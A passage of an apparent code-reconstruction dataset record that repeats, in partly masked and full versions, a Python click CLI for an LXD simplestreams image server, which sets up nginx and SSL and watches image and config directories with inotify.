root_dir, ssl_dir, ssl_skip, nginx_skip):\n root_dir = Path(root_dir).expanduser().resolve()\n if not Path(root_dir).exists():\n logger.error('Root directory does not exists')\n else:\n if nginx_skip:\n ssl_skip = True\n if not ssl_skip:\n if not ssl_dir.exists():\n os.makedirs(str(ssl_dir))\n if not (ssl_dir / 'nginx.key').exists():\n generate_cert(str(ssl_dir))\n img_dir = str(Path(root_dir, 'images'))\n streams_dir = str(Path(root_dir, 'streams/v1'))\n if not Path(img_dir).exists():\n os.makedirs(img_dir)\n if not Path(streams_dir).exists():\n os.makedirs(streams_dir)\n if not nginx_skip:\n conf_path = Path('/etc/nginx/sites-enabled/simplestreams.conf')\n if not conf_path.exists():\n conf_path.symlink_to(\n '/etc/nginx/sites-available/simplestreams.conf')\n os.system('nginx -s reload')\n if not Path(root_dir, 'streams', 'v1', 'images.json').exists():\n ctx.invoke(update, img_dir=Path(root_dir, 'images'),\n streams_dir=Path(root_dir, 'streams', 'v1'))\n fix_permissions(img_dir)\n fix_permissions(streams_dir)\n\n\[email protected]()\[email protected]('--img_dir', default='/var/www/simplestreams/images',\n show_default=True, type=click.Path(exists=True, file_okay=False,\n resolve_path=True))\[email protected]('--streams_dir', default='/var/www/simplestreams/streams/v1',\n type=click.Path(exists=True, file_okay=False, resolve_path=True),\n show_default=True)\[email protected]('--skip-watch-config-non-existent', default=False, type=bool,\n is_flag=True)\[email protected]_context\ndef watch(ctx, img_dir, streams_dir, skip_watch_config_non_existent: bool):\n path_img_dir = str(Path(img_dir).expanduser().resolve())\n path_streams_dir = str(Path(streams_dir).expanduser().resolve())\n logger.info('Starting watch process')\n Config.load_data()\n update_config(skip_watch_config_non_existent)\n update_metadata(path_img_dir, path_streams_dir)\n logger.debug('Watching image directory {}'.format(path_img_dir))\n i = inotify.adapters.InotifyTree(path_img_dir, mask=IN_ATTRIB |\n IN_DELETE | IN_MOVED_FROM | IN_MOVED_TO | IN_CLOSE_WRITE)\n while True:\n events = i.event_gen(yield_nones=False, timeout_s=15)\n files_changed = needs_update(events)\n if files_changed:\n event_queue.put(files_changed)\n\n\ndef main():\n try:\n sys.exit(cli())\n except Exception:\n logger.error(traceback.format_exc())\n sys.exit(1)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef threaded(fn):\n\n def wrapper(*args, **kwargs):\n threading.Thread(target=fn, args=args, kwargs=kwargs).start()\n return wrapper\n\n\ndef configure_log(log_file, verbose=False):\n filename = log_file\n if log_file == 'STDOUT':\n handler = logging.StreamHandler(sys.stdout)\n elif log_file == 'STDERR':\n handler = logging.StreamHandler(sys.stderr)\n else:\n handler = TimedRotatingFileHandler(filename, when='d', interval=7,\n backupCount=4)\n formatter = logging.Formatter(\n '[%(asctime)s] [LxdImgServer] [%(levelname)s] %(message)s')\n handler.setFormatter(formatter)\n logger.setLevel('DEBUG' if verbose else 'INFO')\n logger.addHandler(handler)\n\n\ndef needs_update(events):\n modified_files = []\n for event in list(events):\n if re.match('\\\\d{8}_\\\\d{2}:\\\\d{2}', event[3]) or any(k in event[1] for\n k in ('IN_MOVED_FROM', 'IN_MOVED_TO', 'IN_DELETE',\n 'IN_CLOSE_WRITE')):\n logger.debug('Event: PATH=[{}] FILENAME=[{}] EVENT_TYPES={}'.\n format(event[2], event[3], event[1]))\n modified_files.append(event)\n return modified_files\n\n\ndef config_inotify_setup(skipWatchingNonExistent: bool\n ) ->inotify.adapters.Inotify:\n i = inotify.adapters.Inotify()\n watchedDirs = {}\n for p in Config.paths:\n if os.path.exists(p):\n if os.path.isfile(p):\n logger.debug('Watching existing config file {}'.format(p))\n i.add_watch(p, mask=inotify.constants.IN_CLOSE_WRITE |\n inotify.constants.IN_DELETE)\n else:\n logger.debug('Watching existing config directory {}'.format(p))\n i.add_watch(p)\n elif not skipWatchingNonExistent:\n d, n = os.path.split(p)\n while not os.path.exists(d):\n d, n = os.path.split(d)\n if d not in watchedDirs:\n i.add_watch(d, inotify.constants.IN_DELETE | inotify.\n constants.IN_CLOSE_WRITE | inotify.constants.IN_CREATE)\n logger.debug('Watching directory {} as base for {}'.format(\n d, p))\n watchedDirs[d] = True\n return i\n\n\n@threaded\ndef update_config(skipWatchingNonExistent=True):\n i = config_inotify_setup(skipWatchingNonExistent)\n while True:\n reload = False\n for event in i.event_gen(yield_nones=False):\n _, mask, dir, file = event\n fp = os.path.join(dir, file).rstrip(os.path.sep)\n for p in Config.paths:\n if p == fp or dir == p:\n reload = True\n break\n if reload:\n break\n if reload:\n logger.debug('Will reload configuration')\n Config.reload_data()\n i = config_inotify_setup()\n MirrorManager.update_mirror_list()\n else:\n logger.debug('No need to reload configuration')\n\n\n<mask token>\n\n\ndef fix_permissions(path):\n Path(path).chmod(509)\n for root, dirs, files in os.walk(path):\n for elem in files:\n Path(root, elem).chmod(509)\n for elem in dirs:\n Path(root, elem).chmod(509)\n\n\[email protected]()\[email protected]('--log-file', default='./lxd-image-server.log', show_default=True\n )\[email protected]('--verbose', help='Sets log level to debug', is_flag=True,\n default=False)\ndef cli(log_file, verbose):\n configure_log(log_file, verbose)\n\n\[email protected]()\[email protected]('--img_dir', default='/var/www/simplestreams/images',\n show_default=True, type=click.Path(exists=True, file_okay=False,\n resolve_path=True), callback=lambda ctx, param, val: Path(val))\[email protected]('--streams_dir', default='/var/www/simplestreams/streams/v1',\n show_default=True, type=click.Path(exists=True, file_okay=False,\n resolve_path=True))\[email protected]_context\ndef update(ctx, img_dir, streams_dir):\n logger.info('Updating server')\n img_dir = Path(img_dir).expanduser().resolve()\n streams_dir = Path(streams_dir).expanduser().resolve()\n images = Images(str(Path(streams_dir).resolve()), rebuild=True, logger=\n logger)\n fake_events = [(None, ['IN_ISDIR', 'IN_CREATE'], str(img_dir.parent),\n str(img_dir.name))]\n operations = Operations(fake_events, str(img_dir))\n images.update(operations.ops)\n images.save()\n logger.info('Server updated')\n\n\[email protected]()\[email protected]('--root_dir', default='/var/www/simplestreams', show_default=True\n )\[email protected]('--ssl_dir', default='/etc/nginx/ssl', show_default=True,\n callback=lambda ctx, param, val: Path(val))\[email protected]('--ssl_skip', default=False, is_flag=True)\[email protected]('--nginx_skip', default=False, is_flag=True)\[email protected]_context\ndef init(ctx, root_dir, ssl_dir, ssl_skip, nginx_skip):\n root_dir = Path(root_dir).expanduser().resolve()\n if not Path(root_dir).exists():\n logger.error('Root directory does not exists')\n else:\n if nginx_skip:\n ssl_skip = True\n if not ssl_skip:\n if not ssl_dir.exists():\n os.makedirs(str(ssl_dir))\n if not (ssl_dir / 'nginx.key').exists():\n generate_cert(str(ssl_dir))\n img_dir = str(Path(root_dir, 'images'))\n streams_dir = str(Path(root_dir, 'streams/v1'))\n if not Path(img_dir).exists():\n os.makedirs(img_dir)\n if not Path(streams_dir).exists():\n os.makedirs(streams_dir)\n if not nginx_skip:\n conf_path = Path('/etc/nginx/sites-enabled/simplestreams.conf')\n if not conf_path.exists():\n conf_path.symlink_to(\n '/etc/nginx/sites-available/simplestreams.conf')\n os.system('nginx -s reload')\n if not Path(root_dir, 'streams', 'v1', 'images.json').exists():\n ctx.invoke(update, img_dir=Path(root_dir, 'images'),\n streams_dir=Path(root_dir, 'streams', 'v1'))\n fix_permissions(img_dir)\n fix_permissions(streams_dir)\n\n\[email protected]()\[email protected]('--img_dir', default='/var/www/simplestreams/images',\n show_default=True, type=click.Path(exists=True, file_okay=False,\n resolve_path=True))\[email protected]('--streams_dir', default='/var/www/simplestreams/streams/v1',\n type=click.Path(exists=True, file_okay=False, resolve_path=True),\n show_default=True)\[email protected]('--skip-watch-config-non-existent', default=False, type=bool,\n is_flag=True)\[email protected]_context\ndef watch(ctx, img_dir, streams_dir, skip_watch_config_non_existent: bool):\n path_img_dir = str(Path(img_dir).expanduser().resolve())\n path_streams_dir = str(Path(streams_dir).expanduser().resolve())\n logger.info('Starting watch process')\n Config.load_data()\n update_config(skip_watch_config_non_existent)\n update_metadata(path_img_dir, path_streams_dir)\n logger.debug('Watching image directory {}'.format(path_img_dir))\n i = inotify.adapters.InotifyTree(path_img_dir, mask=IN_ATTRIB |\n IN_DELETE | IN_MOVED_FROM | IN_MOVED_TO | IN_CLOSE_WRITE)\n while True:\n events = i.event_gen(yield_nones=False, timeout_s=15)\n files_changed = needs_update(events)\n if files_changed:\n event_queue.put(files_changed)\n\n\ndef main():\n try:\n sys.exit(cli())\n except Exception:\n logger.error(traceback.format_exc())\n sys.exit(1)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef threaded(fn):\n\n def wrapper(*args, **kwargs):\n threading.Thread(target=fn, args=args, kwargs=kwargs).start()\n return wrapper\n\n\ndef configure_log(log_file, verbose=False):\n filename = log_file\n if log_file == 'STDOUT':\n handler = logging.StreamHandler(sys.stdout)\n elif log_file == 'STDERR':\n handler = logging.StreamHandler(sys.stderr)\n else:\n handler = TimedRotatingFileHandler(filename, when='d', interval=7,\n backupCount=4)\n formatter = logging.Formatter(\n '[%(asctime)s] [LxdImgServer] [%(levelname)s] %(message)s')\n handler.setFormatter(formatter)\n logger.setLevel('DEBUG' if verbose else 'INFO')\n logger.addHandler(handler)\n\n\ndef needs_update(events):\n modified_files = []\n for event in list(events):\n if re.match('\\\\d{8}_\\\\d{2}:\\\\d{2}', event[3]) or any(k in event[1] for\n k in ('IN_MOVED_FROM', 'IN_MOVED_TO', 'IN_DELETE',\n 'IN_CLOSE_WRITE')):\n logger.debug('Event: PATH=[{}] FILENAME=[{}] EVENT_TYPES={}'.\n format(event[2], event[3], event[1]))\n modified_files.append(event)\n return modified_files\n\n\ndef config_inotify_setup(skipWatchingNonExistent: bool\n ) ->inotify.adapters.Inotify:\n i = inotify.adapters.Inotify()\n watchedDirs = {}\n for p in Config.paths:\n if os.path.exists(p):\n if os.path.isfile(p):\n logger.debug('Watching existing config file {}'.format(p))\n i.add_watch(p, mask=inotify.constants.IN_CLOSE_WRITE |\n inotify.constants.IN_DELETE)\n else:\n logger.debug('Watching existing config directory {}'.format(p))\n i.add_watch(p)\n elif not skipWatchingNonExistent:\n d, n = os.path.split(p)\n while not os.path.exists(d):\n d, n = os.path.split(d)\n if d not in watchedDirs:\n i.add_watch(d, inotify.constants.IN_DELETE | inotify.\n constants.IN_CLOSE_WRITE | inotify.constants.IN_CREATE)\n logger.debug('Watching directory {} as base for {}'.format(\n d, p))\n watchedDirs[d] = True\n return i\n\n\n@threaded\ndef update_config(skipWatchingNonExistent=True):\n i = config_inotify_setup(skipWatchingNonExistent)\n while True:\n reload = False\n for event in i.event_gen(yield_nones=False):\n _, mask, dir, file = event\n fp = os.path.join(dir, file).rstrip(os.path.sep)\n for p in Config.paths:\n if p == fp or dir == p:\n reload = True\n break\n if reload:\n break\n if reload:\n logger.debug('Will reload configuration')\n Config.reload_data()\n i = config_inotify_setup()\n MirrorManager.update_mirror_list()\n else:\n logger.debug('No need to reload configuration')\n\n\n@threaded\ndef update_metadata(img_dir, streams_dir):\n MirrorManager.img_dir = img_dir\n MirrorManager.update_mirror_list()\n while True:\n events = event_queue.get()\n ops = Operations(events, str(Path(img_dir).resolve()))\n if ops:\n logger.info('Updating server: %s', ','.join(str(x) for x in ops\n .ops))\n images = Images(str(Path(streams_dir).resolve()), logger=logger)\n images.update(ops.ops)\n images.save()\n MirrorManager.update()\n logger.info('Server updated')\n\n\ndef fix_permissions(path):\n Path(path).chmod(509)\n for root, dirs, files in os.walk(path):\n for elem in files:\n Path(root, elem).chmod(509)\n for elem in dirs:\n Path(root, elem).chmod(509)\n\n\[email protected]()\[email protected]('--log-file', default='./lxd-image-server.log', show_default=True\n )\[email protected]('--verbose', help='Sets log level to debug', is_flag=True,\n default=False)\ndef cli(log_file, verbose):\n configure_log(log_file, verbose)\n\n\[email protected]()\[email protected]('--img_dir', default='/var/www/simplestreams/images',\n show_default=True, type=click.Path(exists=True, file_okay=False,\n resolve_path=True), callback=lambda ctx, param, val: Path(val))\[email protected]('--streams_dir', default='/var/www/simplestreams/streams/v1',\n show_default=True, type=click.Path(exists=True, file_okay=False,\n resolve_path=True))\[email protected]_context\ndef update(ctx, img_dir, streams_dir):\n logger.info('Updating server')\n img_dir = Path(img_dir).expanduser().resolve()\n streams_dir = Path(streams_dir).expanduser().resolve()\n images = Images(str(Path(streams_dir).resolve()), rebuild=True, logger=\n logger)\n fake_events = [(None, ['IN_ISDIR', 'IN_CREATE'], str(img_dir.parent),\n str(img_dir.name))]\n operations = Operations(fake_events, str(img_dir))\n images.update(operations.ops)\n images.save()\n logger.info('Server updated')\n\n\[email protected]()\[email protected]('--root_dir', default='/var/www/simplestreams', show_default=True\n )\[email protected]('--ssl_dir', default='/etc/nginx/ssl', show_default=True,\n callback=lambda ctx, param, val: Path(val))\[email protected]('--ssl_skip', default=False, is_flag=True)\[email protected]('--nginx_skip', default=False, is_flag=True)\[email protected]_context\ndef init(ctx, root_dir, ssl_dir, ssl_skip, nginx_skip):\n root_dir = Path(root_dir).expanduser().resolve()\n if not Path(root_dir).exists():\n logger.error('Root directory does not exists')\n else:\n if nginx_skip:\n ssl_skip = True\n if not ssl_skip:\n if not ssl_dir.exists():\n os.makedirs(str(ssl_dir))\n if not (ssl_dir / 'nginx.key').exists():\n generate_cert(str(ssl_dir))\n img_dir = str(Path(root_dir, 'images'))\n streams_dir = str(Path(root_dir, 'streams/v1'))\n if not Path(img_dir).exists():\n os.makedirs(img_dir)\n if not Path(streams_dir).exists():\n os.makedirs(streams_dir)\n if not nginx_skip:\n conf_path = Path('/etc/nginx/sites-enabled/simplestreams.conf')\n if not conf_path.exists():\n conf_path.symlink_to(\n '/etc/nginx/sites-available/simplestreams.conf')\n os.system('nginx -s reload')\n if not Path(root_dir, 'streams', 'v1', 'images.json').exists():\n ctx.invoke(update, img_dir=Path(root_dir, 'images'),\n streams_dir=Path(root_dir, 'streams', 'v1'))\n fix_permissions(img_dir)\n fix_permissions(streams_dir)\n\n\[email protected]()\[email protected]('--img_dir', default='/var/www/simplestreams/images',\n show_default=True, type=click.Path(exists=True, file_okay=False,\n resolve_path=True))\[email protected]('--streams_dir', default='/var/www/simplestreams/streams/v1',\n type=click.Path(exists=True, file_okay=False, resolve_path=True),\n show_default=True)\[email protected]('--skip-watch-config-non-existent', default=False, type=bool,\n is_flag=True)\[email protected]_context\ndef watch(ctx, img_dir, streams_dir, skip_watch_config_non_existent: bool):\n path_img_dir = str(Path(img_dir).expanduser().resolve())\n path_streams_dir = str(Path(streams_dir).expanduser().resolve())\n logger.info('Starting watch process')\n Config.load_data()\n update_config(skip_watch_config_non_existent)\n update_metadata(path_img_dir, path_streams_dir)\n logger.debug('Watching image directory {}'.format(path_img_dir))\n i = inotify.adapters.InotifyTree(path_img_dir, mask=IN_ATTRIB |\n IN_DELETE | IN_MOVED_FROM | IN_MOVED_TO | IN_CLOSE_WRITE)\n while True:\n events = i.event_gen(yield_nones=False, timeout_s=15)\n files_changed = needs_update(events)\n if files_changed:\n event_queue.put(files_changed)\n\n\ndef main():\n try:\n sys.exit(cli())\n except Exception:\n logger.error(traceback.format_exc())\n sys.exit(1)\n\n\n<mask token>\n", "step-4": "<mask token>\nlogger = logging.getLogger('lxd-image-server')\nevent_queue = queue.Queue()\n\n\ndef threaded(fn):\n\n def wrapper(*args, **kwargs):\n threading.Thread(target=fn, args=args, kwargs=kwargs).start()\n return wrapper\n\n\ndef configure_log(log_file, verbose=False):\n filename = log_file\n if log_file == 'STDOUT':\n handler = logging.StreamHandler(sys.stdout)\n elif log_file == 'STDERR':\n handler = logging.StreamHandler(sys.stderr)\n else:\n handler = TimedRotatingFileHandler(filename, when='d', interval=7,\n backupCount=4)\n formatter = logging.Formatter(\n '[%(asctime)s] [LxdImgServer] [%(levelname)s] %(message)s')\n handler.setFormatter(formatter)\n logger.setLevel('DEBUG' if verbose else 'INFO')\n logger.addHandler(handler)\n\n\ndef needs_update(events):\n modified_files = []\n for event in list(events):\n if re.match('\\\\d{8}_\\\\d{2}:\\\\d{2}', event[3]) or any(k in event[1] for\n k in ('IN_MOVED_FROM', 'IN_MOVED_TO', 'IN_DELETE',\n 'IN_CLOSE_WRITE')):\n logger.debug('Event: PATH=[{}] FILENAME=[{}] EVENT_TYPES={}'.\n format(event[2], event[3], event[1]))\n modified_files.append(event)\n return modified_files\n\n\ndef config_inotify_setup(skipWatchingNonExistent: bool\n ) ->inotify.adapters.Inotify:\n i = inotify.adapters.Inotify()\n watchedDirs = {}\n for p in Config.paths:\n if os.path.exists(p):\n if os.path.isfile(p):\n logger.debug('Watching existing config file {}'.format(p))\n i.add_watch(p, mask=inotify.constants.IN_CLOSE_WRITE |\n inotify.constants.IN_DELETE)\n else:\n logger.debug('Watching existing config directory {}'.format(p))\n i.add_watch(p)\n elif not skipWatchingNonExistent:\n d, n = os.path.split(p)\n while not os.path.exists(d):\n d, n = os.path.split(d)\n if d not in watchedDirs:\n i.add_watch(d, inotify.constants.IN_DELETE | inotify.\n constants.IN_CLOSE_WRITE | inotify.constants.IN_CREATE)\n logger.debug('Watching directory {} as base for {}'.format(\n d, p))\n watchedDirs[d] = True\n return i\n\n\n@threaded\ndef update_config(skipWatchingNonExistent=True):\n i = config_inotify_setup(skipWatchingNonExistent)\n while True:\n reload = False\n for event in i.event_gen(yield_nones=False):\n _, mask, dir, file = event\n fp = os.path.join(dir, file).rstrip(os.path.sep)\n for p in Config.paths:\n if p == fp or dir == p:\n reload = True\n break\n if reload:\n break\n if reload:\n logger.debug('Will reload configuration')\n Config.reload_data()\n i = config_inotify_setup()\n MirrorManager.update_mirror_list()\n else:\n logger.debug('No need to reload configuration')\n\n\n@threaded\ndef update_metadata(img_dir, streams_dir):\n MirrorManager.img_dir = img_dir\n MirrorManager.update_mirror_list()\n while True:\n events = event_queue.get()\n ops = Operations(events, str(Path(img_dir).resolve()))\n if ops:\n logger.info('Updating server: %s', ','.join(str(x) for x in ops\n .ops))\n images = Images(str(Path(streams_dir).resolve()), logger=logger)\n images.update(ops.ops)\n images.save()\n MirrorManager.update()\n logger.info('Server updated')\n\n\ndef fix_permissions(path):\n Path(path).chmod(509)\n for root, dirs, files in os.walk(path):\n for elem in files:\n Path(root, elem).chmod(509)\n for elem in dirs:\n Path(root, elem).chmod(509)\n\n\[email protected]()\[email protected]('--log-file', default='./lxd-image-server.log', show_default=True\n )\[email protected]('--verbose', help='Sets log level to debug', is_flag=True,\n default=False)\ndef cli(log_file, verbose):\n configure_log(log_file, verbose)\n\n\[email protected]()\[email protected]('--img_dir', default='/var/www/simplestreams/images',\n show_default=True, type=click.Path(exists=True, file_okay=False,\n resolve_path=True), callback=lambda ctx, param, val: Path(val))\[email protected]('--streams_dir', default='/var/www/simplestreams/streams/v1',\n show_default=True, type=click.Path(exists=True, file_okay=False,\n resolve_path=True))\[email protected]_context\ndef update(ctx, img_dir, streams_dir):\n logger.info('Updating server')\n img_dir = Path(img_dir).expanduser().resolve()\n streams_dir = Path(streams_dir).expanduser().resolve()\n images = Images(str(Path(streams_dir).resolve()), rebuild=True, logger=\n logger)\n fake_events = [(None, ['IN_ISDIR', 'IN_CREATE'], str(img_dir.parent),\n str(img_dir.name))]\n operations = Operations(fake_events, str(img_dir))\n images.update(operations.ops)\n images.save()\n logger.info('Server updated')\n\n\[email protected]()\[email protected]('--root_dir', default='/var/www/simplestreams', show_default=True\n )\[email protected]('--ssl_dir', default='/etc/nginx/ssl', show_default=True,\n callback=lambda ctx, param, val: Path(val))\[email protected]('--ssl_skip', default=False, is_flag=True)\[email protected]('--nginx_skip', default=False, is_flag=True)\[email protected]_context\ndef init(ctx, root_dir, ssl_dir, ssl_skip, nginx_skip):\n root_dir = Path(root_dir).expanduser().resolve()\n if not Path(root_dir).exists():\n logger.error('Root directory does not exists')\n else:\n if nginx_skip:\n ssl_skip = True\n if not ssl_skip:\n if not ssl_dir.exists():\n os.makedirs(str(ssl_dir))\n if not (ssl_dir / 'nginx.key').exists():\n generate_cert(str(ssl_dir))\n img_dir = str(Path(root_dir, 'images'))\n streams_dir = str(Path(root_dir, 'streams/v1'))\n if not Path(img_dir).exists():\n os.makedirs(img_dir)\n if not Path(streams_dir).exists():\n os.makedirs(streams_dir)\n if not nginx_skip:\n conf_path = Path('/etc/nginx/sites-enabled/simplestreams.conf')\n if not conf_path.exists():\n conf_path.symlink_to(\n '/etc/nginx/sites-available/simplestreams.conf')\n os.system('nginx -s reload')\n if not Path(root_dir, 'streams', 'v1', 'images.json').exists():\n ctx.invoke(update, img_dir=Path(root_dir, 'images'),\n streams_dir=Path(root_dir, 'streams', 'v1'))\n fix_permissions(img_dir)\n fix_permissions(streams_dir)\n\n\[email protected]()\[email protected]('--img_dir', default='/var/www/simplestreams/images',\n show_default=True, type=click.Path(exists=True, file_okay=False,\n resolve_path=True))\[email protected]('--streams_dir', default='/var/www/simplestreams/streams/v1',\n type=click.Path(exists=True, file_okay=False, resolve_path=True),\n show_default=True)\[email protected]('--skip-watch-config-non-existent', default=False, type=bool,\n is_flag=True)\[email protected]_context\ndef watch(ctx, img_dir, streams_dir, skip_watch_config_non_existent: bool):\n path_img_dir = str(Path(img_dir).expanduser().resolve())\n path_streams_dir = str(Path(streams_dir).expanduser().resolve())\n logger.info('Starting watch process')\n Config.load_data()\n update_config(skip_watch_config_non_existent)\n update_metadata(path_img_dir, path_streams_dir)\n logger.debug('Watching image directory {}'.format(path_img_dir))\n i = inotify.adapters.InotifyTree(path_img_dir, mask=IN_ATTRIB |\n IN_DELETE | IN_MOVED_FROM | IN_MOVED_TO | IN_CLOSE_WRITE)\n while True:\n events = i.event_gen(yield_nones=False, timeout_s=15)\n files_changed = needs_update(events)\n if files_changed:\n event_queue.put(files_changed)\n\n\ndef main():\n try:\n sys.exit(cli())\n except Exception:\n logger.error(traceback.format_exc())\n sys.exit(1)\n\n\nif __name__ == '__main__':\n main()\n", "step-5": "import os\nimport sys\nimport re\nimport traceback\nimport logging\nimport queue\nimport threading\nfrom logging.handlers import TimedRotatingFileHandler\nfrom pathlib import Path\nimport click\nimport inotify.adapters\nfrom inotify.constants import (IN_ATTRIB, IN_DELETE, IN_MOVED_FROM,\n IN_MOVED_TO, IN_CLOSE_WRITE)\nfrom lxd_image_server.simplestreams.images import Images\nfrom lxd_image_server.tools.cert import generate_cert\nfrom lxd_image_server.tools.operation import Operations\nfrom lxd_image_server.tools.mirror import MirrorManager\nfrom lxd_image_server.tools.config import Config\n\n\nlogger = logging.getLogger('lxd-image-server')\nevent_queue = queue.Queue()\n\ndef threaded(fn):\n def wrapper(*args, **kwargs):\n threading.Thread(target=fn, args=args, kwargs=kwargs).start()\n return wrapper\n\n\ndef configure_log(log_file, verbose=False):\n filename = log_file\n\n if log_file == 'STDOUT':\n handler = logging.StreamHandler(sys.stdout)\n elif log_file == 'STDERR':\n handler = logging.StreamHandler(sys.stderr)\n else:\n handler = TimedRotatingFileHandler(\n filename,\n when=\"d\", interval=7, backupCount=4)\n formatter = logging.Formatter('[%(asctime)s] [LxdImgServer] [%(levelname)s] %(message)s')\n handler.setFormatter(formatter)\n\n logger.setLevel('DEBUG' if verbose else 'INFO')\n logger.addHandler(handler)\n\n\ndef needs_update(events):\n modified_files = []\n for event in list(events):\n if re.match('\\d{8}_\\d{2}:\\d{2}', event[3]) or \\\n any(k in event[1]\n for k in ('IN_MOVED_FROM', 'IN_MOVED_TO',\n 'IN_DELETE', 'IN_CLOSE_WRITE')):\n logger.debug('Event: PATH=[{}] FILENAME=[{}] EVENT_TYPES={}'\n .format(event[2], event[3], event[1]))\n modified_files.append(event)\n\n return modified_files\n\n\n\ndef config_inotify_setup(skipWatchingNonExistent: bool) -> inotify.adapters.Inotify:\n i = inotify.adapters.Inotify()\n watchedDirs = {}\n\n for p in Config.paths:\n if os.path.exists(p):\n if os.path.isfile(p):\n logger.debug(\"Watching existing config file {}\".format(p))\n i.add_watch(p, mask= inotify.constants.IN_CLOSE_WRITE | inotify.constants.IN_DELETE)\n else:\n logger.debug(\"Watching existing config directory {}\".format(p))\n i.add_watch(p) # SEEME: all events?\n elif not skipWatchingNonExistent:\n (d, n) = os.path.split(p)\n while not os.path.exists(d):\n (d, n) = os.path.split(d)\n if d not in watchedDirs:\n i.add_watch(d, inotify.constants.IN_DELETE | inotify.constants.IN_CLOSE_WRITE | inotify.constants.IN_CREATE)\n logger.debug(\"Watching directory {} as base for {}\".format(d, p))\n watchedDirs[d] = True\n\n return i\n\n@threaded\ndef update_config(skipWatchingNonExistent = True):\n i = config_inotify_setup(skipWatchingNonExistent)\n while True:\n reload = False\n for event in i.event_gen(yield_nones=False):\n (_, mask, dir, file) = event\n fp = os.path.join(dir, file).rstrip(os.path.sep)\n for p in Config.paths:\n if p == fp or (dir == p):\n reload = True\n break\n if reload:\n break\n\n if reload:\n logger.debug(\"Will reload configuration\")\n Config.reload_data()\n i = config_inotify_setup()\n MirrorManager.update_mirror_list()\n else:\n logger.debug(\"No need to reload configuration\")\n\n\n@threaded\ndef update_metadata(img_dir, streams_dir):\n MirrorManager.img_dir = img_dir\n MirrorManager.update_mirror_list()\n while True:\n events = event_queue.get()\n ops = Operations(events, str(Path(img_dir).resolve()))\n if ops:\n logger.info('Updating server: %s', ','.join(\n str(x) for x in ops.ops))\n images = Images(str(Path(streams_dir).resolve()), logger=logger)\n images.update(ops.ops)\n images.save()\n MirrorManager.update()\n logger.info('Server updated')\n\n\ndef fix_permissions(path):\n Path(path).chmod(0o775)\n for root, dirs, files in os.walk(path):\n for elem in files:\n Path(root, elem).chmod(0o775)\n for elem in dirs:\n Path(root, elem).chmod(0o775)\n\n\[email protected]()\[email protected]('--log-file', default='./lxd-image-server.log',\n show_default=True)\[email protected]('--verbose', help='Sets log level to debug',\n is_flag=True, default=False)\ndef cli(log_file, verbose):\n configure_log(log_file, verbose)\n\n\[email protected]()\[email protected]('--img_dir', default='/var/www/simplestreams/images',\n show_default=True,\n type=click.Path(exists=True, file_okay=False,\n resolve_path=True),\n callback=lambda ctx, param, val: Path(val))\[email protected]('--streams_dir', default='/var/www/simplestreams/streams/v1',\n show_default=True,\n type=click.Path(exists=True, file_okay=False,\n resolve_path=True))\[email protected]_context\ndef update(ctx, img_dir, streams_dir):\n logger.info('Updating server')\n\n img_dir = Path(img_dir).expanduser().resolve()\n streams_dir = Path(streams_dir).expanduser().resolve()\n\n images = Images(str(Path(streams_dir).resolve()), rebuild=True, logger=logger)\n\n # Generate a fake event to update all tree\n fake_events = [\n (None, ['IN_ISDIR', 'IN_CREATE'],\n str(img_dir.parent), str(img_dir.name))\n ]\n operations = Operations(fake_events, str(img_dir))\n images.update(operations.ops)\n images.save()\n\n logger.info('Server updated')\n\n\[email protected]()\[email protected]('--root_dir', default='/var/www/simplestreams',\n show_default=True)\[email protected]('--ssl_dir', default='/etc/nginx/ssl', show_default=True,\n callback=lambda ctx, param, val: Path(val))\[email protected]('--ssl_skip', default=False, is_flag=True)\[email protected]('--nginx_skip', default=False, is_flag=True)\[email protected]_context\ndef init(ctx, root_dir, ssl_dir, ssl_skip, nginx_skip):\n root_dir = Path(root_dir).expanduser().resolve()\n\n if not Path(root_dir).exists():\n logger.error('Root directory does not exists')\n else:\n if nginx_skip:\n ssl_skip = True\n\n if not ssl_skip:\n if not ssl_dir.exists():\n os.makedirs(str(ssl_dir))\n\n if not (ssl_dir / 'nginx.key').exists():\n generate_cert(str(ssl_dir))\n\n img_dir = str(Path(root_dir, 'images'))\n streams_dir = str(Path(root_dir, 'streams/v1'))\n if not Path(img_dir).exists():\n os.makedirs(img_dir)\n if not Path(streams_dir).exists():\n os.makedirs(streams_dir)\n\n if not nginx_skip:\n conf_path = Path('/etc/nginx/sites-enabled/simplestreams.conf')\n if not conf_path.exists():\n conf_path.symlink_to(\n '/etc/nginx/sites-available/simplestreams.conf')\n os.system('nginx -s reload')\n\n if not Path(root_dir, 'streams', 'v1', 'images.json').exists():\n ctx.invoke(update, img_dir=Path(root_dir, 'images'),\n streams_dir=Path(root_dir, 'streams', 'v1'))\n\n fix_permissions(img_dir)\n fix_permissions(streams_dir)\n\n\[email protected]()\[email protected]('--img_dir', default='/var/www/simplestreams/images',\n show_default=True,\n type=click.Path(exists=True, file_okay=False,\n resolve_path=True))\[email protected]('--streams_dir', default='/var/www/simplestreams/streams/v1',\n type=click.Path(exists=True, file_okay=False,\n resolve_path=True), show_default=True)\[email protected]('--skip-watch-config-non-existent', default=False, type=bool, is_flag=True)\[email protected]_context\ndef watch(ctx, img_dir, streams_dir, skip_watch_config_non_existent: bool):\n path_img_dir = str(Path(img_dir).expanduser().resolve())\n path_streams_dir = str(Path(streams_dir).expanduser().resolve())\n logger.info(\"Starting watch process\")\n\n Config.load_data()\n # Lauch threads\n # SEEME: in case an event will come from watching config files, there is a race condition between update_config\n # thread using indirectly MirrorManager.img_dir and thread update_metadata setting MirrorManager.img_dir\n # Also, race condition on calling MirrorManager.update_mirror_list() in both threads.\n update_config(skip_watch_config_non_existent)\n update_metadata(path_img_dir, path_streams_dir)\n logger.debug(\"Watching image directory {}\".format(path_img_dir))\n\n i = inotify.adapters.InotifyTree(path_img_dir,\n mask=(IN_ATTRIB | IN_DELETE |\n IN_MOVED_FROM | IN_MOVED_TO |\n IN_CLOSE_WRITE))\n\n while True:\n events = i.event_gen(yield_nones=False, timeout_s=15)\n files_changed = needs_update(events)\n if files_changed:\n event_queue.put(files_changed)\n\n\ndef main():\n try:\n sys.exit(cli())\n except Exception:\n logger.error(traceback.format_exc())\n sys.exit(1)\n\n\nif __name__ == '__main__':\n main()\n", "step-ids": [ 7, 11, 12, 14, 16 ] }
[ 7, 11, 12, 14, 16 ]
